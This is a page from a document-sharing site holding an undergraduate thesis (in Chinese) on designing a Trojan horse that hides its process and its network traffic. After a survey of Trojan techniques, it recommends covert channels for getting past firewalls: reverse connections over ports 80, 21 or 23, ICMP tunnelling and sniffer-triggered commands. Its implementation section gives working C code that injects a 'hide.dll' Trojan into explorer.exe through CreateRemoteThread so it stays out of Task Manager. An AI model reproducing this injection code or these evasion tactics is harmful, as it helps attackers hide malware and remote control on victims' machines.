毕业设计(论文)一种通过通信隐藏手段而设计的木马.doc

上传人:文库蛋蛋多 文档编号:2401989 上传时间:2023-02-17 格式:DOC 页数:20 大小:329.50KB
返回 下载 相关 举报
毕业设计(论文)一种通过通信隐藏手段而设计的木马.doc_第1页
第1页 / 共20页
毕业设计(论文)一种通过通信隐藏手段而设计的木马.doc_第2页
第2页 / 共20页
毕业设计(论文)一种通过通信隐藏手段而设计的木马.doc_第3页
第3页 / 共20页
毕业设计(论文)一种通过通信隐藏手段而设计的木马.doc_第4页
第4页 / 共20页
毕业设计(论文)一种通过通信隐藏手段而设计的木马.doc_第5页
第5页 / 共20页
点击查看更多>>
资源描述

《毕业设计(论文)一种通过通信隐藏手段而设计的木马.doc》由会员分享,可在线阅读,更多相关《毕业设计(论文)一种通过通信隐藏手段而设计的木马.doc(20页珍藏版)》请在三一办公上搜索。

1、一种通过通信隐藏手段而设计的木马摘 要近年来,特洛伊木马等恶意代码己经成为网络安全的重要威胁。很多国家都采取积极的网络安全防御措施,投入大量的人力和物力研究网络信息安全技术。文章首先分析了传统木马的一般工作原理及其植入、加载、隐藏等关键技术。随着网络技术的不断更新和发展,木马技术也在不断地更新换代,现代木马的进程隐藏和通信隐藏等等都发生了变化。进程的隐藏和通信的隐藏一直是木马程序设计者不断探求的重要技术。攻击者为达到进程隐藏的目的,采用远程线程和动态链接库,将木马作为线程隐藏在其他进程中。选用一般安全策略都允许的端口通信,如80端口,则可轻易穿透防火墙和避过入侵检测系统等安全机制的检测,从而具

2、有很强的隐蔽性。本文研究了如何将Windows环境下的动态链接库(DLL)技术与远程线程插入技术结合起来实现特洛伊木马植入的新方案。在该方案中,提出了特洛伊木马程序DLL模块化,并且创建了独立的特洛伊木马植入应用程序,将木马程序的DLL模块植入宿主进程。实验结果证明该方案能实现的木马植入,具有很好的隐蔽性和灵活性。关键词:特洛伊木马;动态连接库;进程插入;远程线程The Design and Implementation of Trojan Horses Base on Process Hiding and Communications HidingAbstractIn recent year

3、s, malicious codes including Trojan have threatened network information security, and more and more countries paid attention to take active measures to protect the network, and spent a lot in research to develop network information security technology mentally and materially. This paper firstly anal

4、yses the basic principle, entry technology, load technology and hiding technology of traditional Trojan horse. With the development of network technology, Trojan horse technology is upgrading constantly. Modern Trojan horse is changed in process hiding and communication hiding. The process hiding an

5、d communications hiding are important technology being explored by Trojan horse programmers all long. Adopting the measure of dynamic link storage, and Remote Thread technology, and hiding Trojan horse behind the other processes as a thread program, it is easy to hide. Choosing the port corresponden

6、ce which is permitted by almost all the ordinary security policy, likes 80port, may easily penetrate the firewall and avoid the examine of security systems as invasion-checking mechanisms and so on. Thus, it has a very strong covered.This paper is implemented the injection of Trojan horse by combini

7、ng the technology of DLL (dynamic linking library) and of remote thread injection on the Windows platform. In this paper, modularization of Trojan horse process is proposed to create an independent Trojan horse injection process, thus, to inject Trojan horse DLL module to the host process. Experimen

8、tal results show that the program could realize the Trojan injected with good covered and flexibility.Key Words:Trojan Horse;DLL;Process Injection;Remote Thread目 录论文总页数:23页1引言12特洛伊木马简介12.1认识木马22.2木马原理22.3木马的危害32.4常见木马的介绍33木马隐藏概述43.1本地隐藏43.2通信隐藏84隐藏技术的实现104.1隐藏进程104.2隐藏通信144.3木马功能的实现145系统测试145.1功能测试1

9、45.2性能测试16结 论16参考文献171 引言近年来,黑客攻击层出不穷,对网络安全构成了极大的威胁。2006年底,我国互联网上大规模爆发“熊猫烧香”木马病毒及其变种,该木马病毒通过多种方式进行传播,并将感染的所有程序文件改成熊猫举着三根香的模样,同时该病毒还具有盗取用户游戏账号、账号等功能。该病毒传播速度快,危害范围广,截至案发为止,已有上百万个人用户、网吧及企业局域网用户遭受感染和破坏,引起社会各界高度关注。木马是黑客的主要攻击手段之一,它通过渗透进入对方主机系统,从而实现对目标主机的远程操作,破坏力相当之大。到目前为止,木马的发展已经经历了五代1第一代木马只是实现简单的密码窃取、发送等

10、,在隐藏和通信方面均无特别之处。2第二代木马以文件关联方式启动,通过电子邮件传送信息。在木马技术发展史上开辟了新的篇章。其典型代表是冰河,3第三代木马的信息传输方式有所突破,采用ICMP协议,增加了查杀的难度。4第四代木马在进程隐藏方面获得了重大突破,采用插入内核的嵌入方式。利用远程插入线程技术,嵌入DLL线程或挂接PSAPI等,实现木马程序的隐藏。利用反弹端口技术突破防火墙限制。在Windows NT/2000下取得了良好的隐藏效果。5.第五代木马与病毒紧密结合。利用操作系统漏洞,直接实现感染传播目的,而不必像以前的木马那样需要欺骗用户主动激活。例如类似冲击波病毒的木马噩梦。现在的黑客技术已

11、经越来越完善,精通各种攻击技术的人才也越来越多,现在流行的木马都主要是针对网上银行交易、网上证券交易以及各种网络游戏,木马的危害已经越来越大,木马这个课题有着重要的研究意义。2 特洛伊木马简介特洛伊木马( Trojan Horse),以下简称木马,取名自希腊神话“特洛伊木马记”,是指一类伪装成合法程序或隐藏在合法程序中的恶意代码,这些代码或者执行恶意行为,或者为非授权访问系统的特权功能而提供后门。木马的首要特征是它的隐蔽性,为了提高自身的生存能力,木马会采用各种手段来伪装隐藏以使被感染的系统表现正常。近年来,随着windows操作系统普及,基于图形操作的木马程序出现,许多不太懂计算机编程的人也

12、能熟练操作木马,大肆危害网络安全木马的发展。2.1 认识木马一个完整的木马系统由硬件部分、软件部分和具体连接部分组成。1硬件部分建立木马连接所必须的硬件实体。具体包括:(1)客户端:对服务器端进行远程控制的一方。(2)服务端:被控制端远程控制的一方。(3)Internet:控制端对服务端进行远程控制,远程传输的网络载体。2软件部分实现远程控制所必须的软件程序。具体包括:(1)客户端程序:控制端用以远程控制服务端的程序。(2)木马程序:潜入服务端内部,获得其操作权限的程序。(3)木马配置程序:设置木马程序的端口号、触发条件、木马名称等,使其在服务端藏的更隐蔽的程序。3 连接部分木马进行数据传输的

13、目的地。具体包括:客户端端口、木马端口:即客户端、服务端的数据入口,通过这个入口数据可直达控制端程序或木马程序。2.2 木马原理木马攻击网络原理大致可以分为六个步骤:1.配置木马一般来说,一个设计成熟的木马都有木马配置程序,从具体的配置内容看,主要是为实现以下两个功能,木马伪装和信息反馈。2.传播木马木马的传播方式主要有两种:一种是通过E-mail,客户端将木马程序以附件的形式夹在邮件中发送出去,收件人只要打开附件就会感染木马;另一种是软件下载,一些非正规的网站以提供软件下载的名义,将木马捆绑在软件安装程序上,下载后,只要一运行这些程序,木马就会自动安装。3.运行木马服务端用户运行木马或捆绑木

14、马的程序后,木马就会自动进行安装。当满足触发条件时,木马被激活,进入内存,并开启事先定义的木马端口,准备与控制端建立连接。4.信息泄露木马成功安装后收集一些服务端的软件硬件信息,并通过E-mail、IRC等方式告知客户端用户。5.建立连接一个木马连接的建立首先必须满足两个条件:一是服务端已安装了木马程序;二是客户端、服务端都要在线。在此基础上,客户端可以通过木马端口与服务端建立连接。6.远程控制木马连接成功后,客户端口和服务端口之间会出现一条通道,客户端上的控制端程序可借此通道与服务端上的木马程序取得联系,并通过木马程序对服务端进行远程控制,实施破坏行动。2.3 木马的危害1窃取密码 一切以明

15、文的形式,或缓存在Cache 中的密码都能被木马侦测到。此外,很多木马还提供有击键记录功能,所以,一旦有木马入侵,密码将很容易被窃取。2文件操作客户端可通过远程控制对服务端上的文件进行删除、修改、下载等一系列操作,基本涵盖了Windows 平台上所有的文件操作功能。3修改注册表客户端可任意修改服务端注册表,包括删除、新建或修改主键、子健、键值。有了这项功能,客户端就可以将服务端上木马的触发条件设置得更隐蔽。4系统操作这项内容包括重启或关闭服务端操作系统,断开服务端网络连接,控制服务端的鼠标、键盘,监视服务端桌面操作,查看服务端进程等,客户端甚至可以随时给服务端发送信息。2.4 常见木马的介绍木

16、马的种类繁多,但是陷于种种原因,真正广泛使用的著名木马只有少数几种,如BO2000、Subseven、冰河、YAI、Setiri等。1.BO2000BO2000有一个相当有用的功能,即隐藏木马进程,一旦将这项功能设置为enable,用ATM查看进程时,BO2000的木马进程将不会被发现。2.Subseven在版本较高的Subseven中,除常规的触发条件外,还提供有less know method和not know method两种触发方法。选择前者,运行木马后将SYSTEM.INI中的Shell改为Shell=explorer.exe msrexe.exe,即用SYSTEM.INI触发木马。

17、选择后者则会在C:Windows目录下创建一个名为Windows.exe的程序,通过这个程序来触发木马,并将HKEY-ROOTexefileshellopencommand的键值“% 1”、“%X”改为“Windows.exe% 1”、“Windows.exe%X”。也就是说,即使我们把木马删除了,只要一运行EXE文件,Windows.exe文件马上又将木马安装上去。对于这种出发条件,我们只要将键值改回原值,并删除Windows.exe即可。3.冰河冰河的特殊触发条件和Subseven极为相似。要注意的是,冰河的木马程序有隐藏属性,需要将显示模式设置为显示所有文件时,才能看到。4.YAIYAI

18、是一个木马和病毒的综合体,它能通过寄生于任意GUI子系统、PE格式的Windows程序触发木马,这样即使YAIver被意外清除,在短时间内也可以自动恢复。YAI不可能用手工删除的方法清楚干净,建议使用杀毒软件。5Setiri2002年2月,Roelof Temmingh和Haroon Meer开发了一个名叫Setiri的木马工具。这个木马工具采用了多种隐藏技术,如匿名技术、加密通信、OLE编程、反弹性端口等,从而使得检测、堵截和追踪非常困难,可以说是目前最先进的木马技术之一。3 木马隐藏概述木马程序与普通远程管理程序的一个显著区别是它的隐藏性。木马被植入后, 通常利用各种手段来隐藏痕迹, 以避

19、免被发现和追踪, 尽可能延长生存期。其中进程隐藏和通信隐藏是木马隐藏的关键。3.1 本地隐藏本地隐藏是指木马为防止被本地用户发现而采取的隐藏手段, 主要包括启动隐藏、文件隐藏、进程隐藏、内核模块隐藏、原始分发隐藏等。这些手段可以分为三类: 将木马隐藏(附着、捆绑或替换) 在合法程序中; 修改或替换相应的检测程序,对有关木马的输出信息进行隐蔽处理; 利用检测程序本身的工作机制或缺陷巧妙地避过木马检测。1 启动隐藏启动隐藏,是指目标机自动加载运行木马程序, 而不被用户发现。在Windows 系统中,比较典型的木马启动方式有:修改系统“启动”项;修改注册表的相关键值;插入常见默认启动服务;修改系统配

20、置文件(Config.sys、Win.ini和System.ini 等);修改“组策略”等。这些启动方式,通常要修改系统的相关文件, 容易被检测工具发现。此外,还有些特殊的木马启动方式,如:文件关联和寄生启动( 注入普通进程)等。2.文件隐藏文件隐藏包括两方面,一是通过伪装, 达到迷惑用户的目的;二是隐藏木马文件自身。对于前者,除了修改文件属性为“隐藏”之外,大多通过一些类似于系统文件的文件名来隐蔽自己。对于后者,可以修改与文件系统操作有关的程序, 以过滤掉木马信息;特殊区域存放( 如对硬盘进行低级操作,将一些扇区标志为坏区,将木马文件隐藏在这些位置,或将文件存放在引导区中)等方式达到隐藏自身

21、的目的。在Windows NT/2000 中,如果文件系统采用的是NTFS,可以用NTFS 流来实现木马文件的隐藏。3.进程隐藏进程通常被定义为一个正在运行的程序的实例,它由两个部分组成:(1)一个是操作系统用来管理进程的内核对象。内核对象也是系统用来存放关于进程的统计信息的地方。(2)另一个是地址空间,它包含所有可执行模块或DLL模块的代码和数据。它还包含动态内存分配的空间。如线程堆栈和堆分配空间。一个正常的Windows应用程序,在运行之后,都会在系统之中产生一个进程。Windows 2000/XP系统中的任务管理器能查看到系统中正在运行哪些进程。只要平时多看任务管理器中的进程列表,熟悉系

22、统的基本进程,就可以随时发现可疑进程,这对防范木马和病毒大有裨益!所以,要想木马在服务端运行,就必须做到在任务管理器里面消失,也就是进程隐藏。木马的进程隐藏包括两方面:伪隐藏和真隐藏。伪隐藏,就是指木马程序的进程仍然存在, 只不过是消失在进程列表里;真隐藏,则是让程序彻底消失, 不以一个进程或者服务的方式工作。进程隐藏方式,主要运用于Windows 系统中。 伪隐藏在Windows9x 系统下,常通过将木马程序注册为服务的方式实现隐藏。WindowsNT/2K下,可以运用API 的拦截技术,通过建立系统钩子,拦截PSAPI的EnumProcessModules 或PDH,ToolHelp AP

23、I等相关函数,控制检测工具对进程或服务的遍历调用,实现进程隐藏。 真隐藏真隐藏的基本原理是将木马核心代码以线程或DLL的方式插入到远程进程中,由于远程进程是合法的用户程序, 用户又很难发现被插入的线程或DLL, 从而达到木马隐藏的目的。 在Windows系统中常见的隐藏方式有三种: 第一种进程隐藏技术:Windows 98的后门这也是最早的进程隐藏技术。在Windows 98中,微软提供了一种能将进程注册为服务进程的方法。尽管微软没有公开提供这种方法的技术实现细节,但仍有高手发现了这个秘密,这种技术称为RegisterServiceProcess。只要利用此方法,任何程序的进程都能将自己注册为

24、服务进程,而服务进程在Windows 98中的任务管理器中恰巧又是不显示的,所以便被木马程序钻了空子。要对付这种隐藏的木马还算简单,只需使用其他第三方进程管理工具即可找到其所在,并且采用此技术进行隐藏的木马在Windows 2000/XP中就得现形!中止该进程后将木马文件删除即可。可是接下来的第二代进程隐藏技术,就没有这么简单对付了。第二种进程隐藏技术:进程插入进程插入(Process Injection),即打破进程的界限,访问另一个进程的地址空间一旦木马的DLL插入了另一个进程的地址空间后,就可以披上合法的外衣,为所欲为了。下面是三种常见的进程插入:A. 使用注册表插入DLL早期的进程插入

25、式木马的伎俩,通过修改注册表中的HKEY_LOCAL_MACHINE Software MicrosoftWindows NTCurrentVersionWindowsAppInit_DLLs来达到插入进程的目的。缺点是不实时,修改注册表后需要重新启动才能完成进程插入。B. 使用挂钩(Hook)插入DLL比较高级和隐蔽的方式,通过系统的挂钩HOOK机制来插入进程,需要调用一个Win32 API函数-SetWindowsHookEx函数。缺点是技术门槛较高,程序调试困难,这种木马的制作者必须具有相当的Win32编程水平。C. 使用远程线程函数(CreateRemoteThread)插入DLL在W

26、indows 2000及以上的系统中提供了这个“远程进程”机制,可以通过一个系统API函数来向另一个进程中创建线程,即插入DLL。缺点很明显,仅支持Windows 2000及以上系统,在国内仍有相当多用户在使用Windows 98,所以采用这种进程插入方式的木马缺乏平台通用性。木马将自身作为DLL 插入别的进程空间后,用查看进程的方式就无法找出木马的踪迹了,你能看到的仅仅是一些正常程序的进程,但木马却已经偷偷潜入其中了。解决的方法是使用支持“进程模块查看”的进程管理工具,如“Windows优化大师”提供的进程查看,木马的DLL模块就会现形了。第三种进程隐藏技术:HOOKHook是Windows

27、中提供的一种用以替换DOS下“中断”的一种系统机制,中文译名为“挂钩”或“钩子”。在对特定的系统事件(包括上文中的特定API 函数的调用事件)进行Hook后,一旦发生已Hook的事件,对该事件进行Hook的程序(如:木马)就会收到系统的通知,这时程序就能在第一时间对该事件做出响应,木马程序便抢在函数返回前对结果进行了修改。通过Hook 技术对系统中所有程序的进程检测相关API 的调用进行了监控,“任务管理器”之所以能够显示出系统中所有的进程,也是因为其调用了EnumProcesses等进程相关的API函数,进程信息都包含在该函数的返回结果中,由发出调用请求的程序接收返回结果并进行处理。如“任务

28、管理器”在接收到结果后就在进程列表中显示出来。而木马由于事先对该API函数进行了Hook,所以在“任务管理器”或其他调用了列举进程函数的程序调用EnumProcesses函数时(此时的API函数充当了“内线”的角色),木马便得到了通知,并且在函数将结果(列出所有进程)返回给程序前,就已将自身的进程信息从返回结果中抹去了。所以无论是“任务管理器”还是杀毒软件,想对这种木马的进程进行检测都是徒劳的。这种木马目前没有非常有效的查杀手段,只有在其运行前由杀毒软件检测到木马文件并阻止其病毒体的运行。4内核模块隐藏内核模块隐藏,使木马程序依附到操作系统部件上,或成为操作系统的一部分。利用这种技术虽然效率比

29、较低,实现比较复杂,但其具有很好的完固性和隐藏性。该隐藏方式,在Linux系统中运用得比较广泛。在Windows系统中采用设备驱动技术(VxD、KMD和WDM) ,编写虚拟设备驱动程序实现。在Linux系统中,内核级木马一般使用LKM技术实现。LKM( load kernel module) 主要是用于系统扩展功能,不需要重新编译内核,就可以被动态加载,现在许多内核开放的操作系统都支持这一功能。利用这种技术实现隐藏的木马有adore、knark和phide 等。5原始分发隐藏软件开发商可以在软件的原始分发中植入木马。如在Linux 系统中, Thompson编译器木马就采用了原始分发隐藏技术,

30、其主要思想是: 修改编译器的源代码A,植入木马,包括针对特定程序的木马(如login 程序)和针对编译器的木马。经修改后的编译器源码称为B。 用干净的编译器C 对B 进行编译得到被感染的编译器D。 删除B,保留D和A,将D和A同时发布。以后,无论用户怎样修改login 源程序,使用D 编译后的目标login 程序都包含木马。而更严重的是用户无法查出原因,因为被修改的编译器源码B 已被删除, 发布的是A,用户无法从源程序A 中看出破绽,即使用户使用D对A重新进行编译,也无法清除隐藏在编译器二进制中的木马。相对其它隐藏手段,原始分发的隐藏手段更加隐蔽。这主要是由于用户无法得到B,因此对这类木马的检

31、测非常困难。从原始分发隐藏的实现机理来看,木马植入的位置越靠近操作系统底层越不容易被检测出来,对系统安全构成的威胁也就越大。3.2 通信隐藏通信隐藏是指利用授权的通信手段和载体进行在系统安全策略允许之外的非授权的通信活动。通信隐藏主要包括通信内容、流量、信道和端口的隐藏。木马常用的通信隐藏方法是对传输内容加密, 这可以采用常见/自定义的加密、解密算法实现,但这只能隐藏通信内容, 无法隐藏通信信道。采用网络隐蔽通道技术不仅可以成功地隐藏通信信道,还可以隐藏通信内容。TCP/IP 协议族中,有许多信息冗余可用于建立网络隐蔽通道。木马可以利用这些网络隐蔽通道突破网络安全机制,比较常见的有: ICMP

32、畸形报文传递、HTTP隧道技术,自定义TCP/UDP 报文等。采用网络隐蔽通道技术,如果选用一般安全策略都允许的端口通信,如80端口,则可轻易穿透防火墙和避过入侵检测系统等安全机制的检测,从而具有很强的隐蔽性。通信隐藏常见的办法有以下几种: (1)使用TCP协议通信 客户端侦听,服务端连接。这就是所谓的反向连接技术了。为了克服服务端在某一端口上侦听易被发现这一缺点,现在服务端不再侦听端口,而是去连接客户端在侦听的某一端口。这样用一般的port scanner或者fport就发现不了服务端了。而为了更好的麻痹宿主机,客户端侦听的端口一般是21,80,23这种任何人都要访问的端口。虽然在安装了防火

33、墙的机器上,服务端去连接客户端还是要引起防火墙报警,但是一个粗心的用户很可能会忽略“应用程序xxxxx试图访问xxx.xxx.xxx.xxx通过端口80”这样的警告。 这种反向连接技术要解决的一个问题是,服务端如何找到客户端。由于一般客户端都是拨号上网的,没有一个固定的IP,所以客户端IP不可能硬编码在服务端程序中。当然由于拨号上网用户的IP一般都是处于一个固定的IP地址范围内,服务端也可以扫描这个范围,然后根据被扫描主机的反馈来确定是否是自己的客户端,但是服务端扫描一个IP地址范围也太烦琐。其实客户端可以通过一个有固定IP或者固定域名的第三方发布自己的IP,比如通过一个公共的邮箱,通过一个个

34、人主页,或者我们截获其他进程收到的TCP数据或者UDP包,然后分析截获的数据,从中确定是否客户端发来了一个报告其IP的数据片断。对于普通用户来说,由于要上网浏览,这样的ICMP包是很少过滤掉的。所以还有一种方法是使用RAW socket来收听ECHO REPLY类型的ICMP包,在ICMP数据包的数据去就包含了客户端IP。(2)使用UDP协议通信服务端侦听,客户端连接;客户端侦听,服务端连接。方法和安全性与使用TCP协议差不多。需要注意的是UDP不是一个可靠的协议,所以,必须在UDP协议的基础上设计一个自己的可靠的报文传递协议。(3)用ICMP来通信既然客户端可以通过发一个ICMP(ECHO

35、REPLY)来告诉服务端它的IP,那为什么不把所有服务端和客户端的通讯都建立在ICMP基础上呢?服务端向客户端发ICMP(ECHOREQUEST),客户端向服务端发ICMP(ECHO REPLY),然后可以在ICMP基础上建立一个自己的可靠数据报通讯协议。如果不怕麻烦的话,还可以建立一个TCP over ICMP。由于一般的用户这两类ICMP包都是设为无警告放行的,这种方法的隐秘性还是很强的。(4)用自定义的协议来通信我们知道IP头的协议字段指定了这个IP包承载得数据的协议,比如TCP,UDP,ICMP等等。我们完全可以把这个字段设为我们自己定义的值(80),定义自己的通讯协议。不过估计这种I

36、P包将会被所有的防火墙过滤掉。(5)基于嗅探原理的通信服务器端是一个sniffer和发包器,它将捕获指定特征的数据包。客户端是一个发包器和嗅探器,用来发送指定特征的数据包并包括定义的命令以及接收服务器端的数据。当服务器端捕获到该指定特征的数据包时,变成激活状态,通过分析该数据包,获得客户端发送的命令和客户端的IP地址,然后实现相应的命令,并将执行后的结果发送回客户端,客户端的嗅探部分则接收相应的数据。所有的数据发送都是通过原始套接字进行。其他隐藏通信的办法,如变换数据包顺序也可以实现通信隐藏。对于传输n 个对象的通信,可以有n!种传输顺序,总共可以表示log2( n!)比特位的信息。但是该方法

37、对网络传输质量要求较高,接收方应能按照数据包发送的顺序接收。这种通信隐藏方式具有不必修改数据包内容的优点。现有木马一般不大注意通信流量的隐藏, 而用户可以通过检测异常的通信流量变化发现木马,因此还有一种“跟着进程动”的办法来实现通信隐藏:当存在其它通信流量时,木马程序也启动通信。当不存在任何其它通信流量时,木马程序处于监听状态, 等待其它进程通信。同时可以运用数据缓冲区,暂存待发送的数据。通信隐藏技术只是木马隐藏诸技术中得一部分,但也是最重要的一部分。因为他不但要保护木马,还要保护木马得控制者,所以不管是木马编写者,还是防火墙编写者,都应该对这一部分给予足够的重视。4 隐藏技术的实现4.1 隐

38、藏进程上文介绍了几种隐藏进程的方法,在此,笔者采用远程线程插入的方法来实现进程的隐藏。首先,我们通过OpenProcess 来打开我们试图嵌入的进程。如果远程进程不允许打开,那么嵌入就无法进行了,这往往是由于权限不足引起的,解决方法是通过种种途径提升本地进程的权限。hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessId); 由于我们后面需要写入远程进程的内存地址空间并建立远程线程,所以需要申请足够的权限(PROCESS_CREAT

39、E_THREAD、VM_OPERATION、VM_WRITE)。然后,我们可以建立LoadLibraryA函数这个线程来启动我们的DLL木马,LoadLibraryA函数是在kernel32.dll中定义的,用来加载DLL文件,它只有一个参数,就是DLL文件的绝对路径名pszLibFileName,也就是木马DLL的全路径文件名,但是由于木马DLL是在远程进程内调用的,所以我们首先还需要将这个文件名复制到远程地址空间:(否则远程线程是无法读到这个参数的)/计算DLL路径名需要的内存空间int cb=(1+strlen(pszLibFileName)*sizeof(char); /使用Virtu

40、alAllocEx函数在远程进程的内存地址空间分配DLL文件名缓冲区pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb,MEM_COMMIT, PAGE_READWRITE);否成功成功开 始结 束打开远程进程获取hide.dll计算hide.dll长度VirtualAllocEx申请存放文件名的空间pszLibFileNamepszLibFileNameWriteProcessMemory把DLL文件名写入空间fnStartAddr获取动态链接库函数地址CreateRemoteThread创建远程线程Clos

41、eHandle关闭远程线程CloseHandle关闭进程快照打开进程快照获取第一个进程猎取exploere进程否图1 基于远程线程插入的程序流程图/使用WriteProcessMemory函数将DLL的路径名复制到远程进程的内存空间ReturnCode = WriteProcessMemory(hRemoteProcess, pszLibFileRemote, pszLibFileName, cb, NULL);/计算LoadLibraryA的入口地址LPTHREAD_START_ROUTINE fnStartAddr=(LPTHREAD_START_ROUTINE) GetProcAddre

42、ss(phmd,LoadLibraryA);我们通过建立远程线程时的地址fnStartAddr(实际上就是LoadLibraryA的入口地址)和传递的参数pszLibFileRemote(实际上是我们复制过去的木马DLL的全路径文件名)在远程进程内启动我们的木马DLL:/启动远程线程LoadLibraryA,通过远程线程调用用户的DLL文件hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0,fnStartAddr,pszLibFileRemote, 0, NULL);下面是本程序实现远程线程插入的核心代码:char pszLi

43、bFileNameMAX_PATH;/存放待隐藏的DLL文件名HANDLE hProcessSnap=NULL;/进程快照句柄HANDLE hRemoteProcess;/远程进程句柄LPVOID pszLibFileRemote;/远程进程中分配给文件名的空间HMODULE phmd;/存放kernel32.dll句柄HANDLE hRemoteThread1=NULL;/存放远程线程句柄PROCESSENTRY32 pe32=0;DWORD dwRemoteProcessId;hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,

44、0);/打开进程快照if(hProcessSnap=(HANDLE)-1)MessageBox(CreateToolhelp32Snapshot failed,MB_OK);return ; pe32.dwSize=sizeof(PROCESSENTRY32);if(Process32First(hProcessSnap,&pe32) /获取第一个进程dochar teMAX_PATH;strcpy(te,pe32.szExeFile);if(!strcmp(te,explorer.exe)| !strcmp(te,EXPLORER.EXE)/找到宿主进程,以EXPLORER.EXE为例 dw

45、RemoteProcessId=pe32.th32ProcessID;break;while(Process32Next(hProcessSnap,&pe32);/获取下一个进程elseMessageBox(取第一个进程失败,MB_OK);return ;hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessId);GetCurrentDirectory(MAX_PATH,pszLibFileName); strcat(pszLibF

46、ileName,hide.dll); int cb=(1+strlen(pszLibFileName)*sizeof(char);/计算dll文件名长度pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,MEM_COMMIT,PAGE_READWRITE);/申请存放文件名的空间BOOL ReturnCode=WriteProcessMemory(hRemoteProcess,pszLibFileRemote,pszLibFileName,cb,NULL);/把dll文件名写入申请的空间phmd=GetModuleHand

47、le(kernel32.dll);LPTHREAD_START_ROUTINE fnStartAddr=(LPTHREAD_START_ROUTINE) GetProcAddress(phmd,LoadLibraryA);/获取动态链接库函数地址hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0,fnStartAddr,pszLibFileRemote,0,NULL);/创建远程线程if(hRemoteThread1!=NULL)CloseHandle(hRemoteThread1);/关闭远程线程if(hProcessSnap!=NULL)CloseHandle(hProcessSnap);/关闭进程快照实现以上代码就完成了对木马进程的隐藏,在任务管理器里是不会发现木马踪迹的。只有借助能查看进程模块信息的软件才能发现是否存在木马,

展开阅读全文
相关资源
猜你喜欢
相关搜索
资源标签

当前位置:首页 > 建筑/施工/环境 > 项目建议


备案号:宁ICP备20000045号-2

经营许可证:宁B2-20210002

宁公网安备 64010402000987号